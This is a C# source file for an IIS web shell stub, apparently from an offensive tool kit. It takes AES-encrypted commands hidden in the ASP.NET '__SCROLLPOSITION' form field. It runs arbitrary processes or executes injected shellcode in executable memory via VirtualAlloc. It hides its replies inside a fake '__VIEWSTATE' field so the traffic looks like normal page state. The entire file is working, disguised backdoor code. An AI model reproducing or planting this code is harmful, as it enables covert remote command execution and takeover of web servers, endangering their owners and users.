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RemoteStub.cs
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RemoteStub.cs
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using System;
using System.Web;
using System.Diagnostics;
using System.Threading;
using System.Runtime.InteropServices;
using System.Text;
using System.IO;
using System.Security.Cryptography;
namespace Zcg.GMHFuckTools.ExampleStub
{
public class IISRemoteStub
{
public IISRemoteStub()
{
try
{
HttpContext ctx = HttpContext.Current;
if (HttpContext.Current != null)
{
HttpRequest req = ctx.Request;
HttpResponse res = ctx.Response;
byte[] e = Convert.FromBase64String(req["__SCROLLPOSITION"]);
byte[] data = Dec(e);
try { res.Clear(); }
catch { }
string s = "";
switch (data[0])
{
case 0:
{
s = ProcessArch();
break;
}
case 1:
{
s = ShellCode(data, 1).ToString();
break;
}
case 2:
{
MemoryStream ms = new MemoryStream(data);
ms.Position = 1;
BinaryReader br = new BinaryReader(ms);
s = Run(br.ReadString(), br.ReadString());
break;
}
default:
{
s = "Unknown opcode";
break;
}
}
res.Write(@"<input type=""hidden"" name=""__VIEWSTATE"" id=""__VIEWSTATE"" value=""/wEPDwUKLTcyODc4" + Convert.ToBase64String(Enc(Encoding.UTF8.GetBytes(s))) + @""" />");
res.End();
}
}
catch { }
}
public static byte[] Dec(byte[] data)
{
byte[] iv = new byte[0x10];
byte[] k = new byte[0x10];
Array.Copy(data, 0, iv, 0, 0x10);
Array.Copy(data, 0x10, k, 0, 0x10);
Console.WriteLine(new Guid(iv));
Console.WriteLine(new Guid(k));
MemoryStream ms = new MemoryStream();
RijndaelManaged aes = new RijndaelManaged();
aes.BlockSize = 128;
aes.KeySize = 128;
aes.Mode = CipherMode.CBC;
aes.Padding = PaddingMode.PKCS7;
CryptoStream cs = new CryptoStream(ms, aes.CreateDecryptor(k, iv), CryptoStreamMode.Write);
cs.Write(data, 0x20, data.Length - 0x20);
cs.FlushFinalBlock();
return ms.ToArray();
}
public static byte[] Enc(byte[] data)
{
byte[] iv = Guid.NewGuid().ToByteArray();
byte[] k = Guid.NewGuid().ToByteArray();
MemoryStream ms = new MemoryStream();
ms.Write(iv, 0, iv.Length);
ms.Write(k, 0, k.Length);
RijndaelManaged aes = new RijndaelManaged();
aes.BlockSize = 128;
aes.KeySize = 128;
aes.Mode = CipherMode.CBC;
aes.Padding = PaddingMode.PKCS7;
CryptoStream cs = new CryptoStream(ms, aes.CreateEncryptor(k, iv), CryptoStreamMode.Write);
cs.Write(data, 0, data.Length);
cs.FlushFinalBlock();
return ms.ToArray();
}
public static string Run(string proc, string arg)
{
try
{
Process p = new Process();
p.StartInfo.FileName = proc;
p.StartInfo.Arguments = arg;
p.StartInfo.UseShellExecute = false;
p.StartInfo.RedirectStandardOutput = true;
p.StartInfo.RedirectStandardError = true;
p.Start();
p.WaitForExit();
return p.StandardOutput.ReadToEnd() + p.StandardError.ReadToEnd();
}
catch (Exception ex)
{
return ex.ToString();
}
}
public static bool ShellCode(byte[] sc, int pos)
{
try
{
IntPtr p = VirtualAlloc(IntPtr.Zero, 0x1000, 0x1000, 0x40);
Marshal.Copy(sc, pos, p, sc.Length - pos);
new Thread(Marshal.GetDelegateForFunctionPointer(p, typeof(ThreadStart)) as ThreadStart).Start();
return true;
}
catch { return false; }
}
public static string ProcessArch()
{
return Marshal.SizeOf(typeof(IntPtr)) == 8 ? "x64" : "x86";
}
[DllImport("kernel32.dll")]
static extern IntPtr VirtualAlloc(IntPtr lpStartAddr, uint size, uint flAllocationType, uint flProtect);
}
}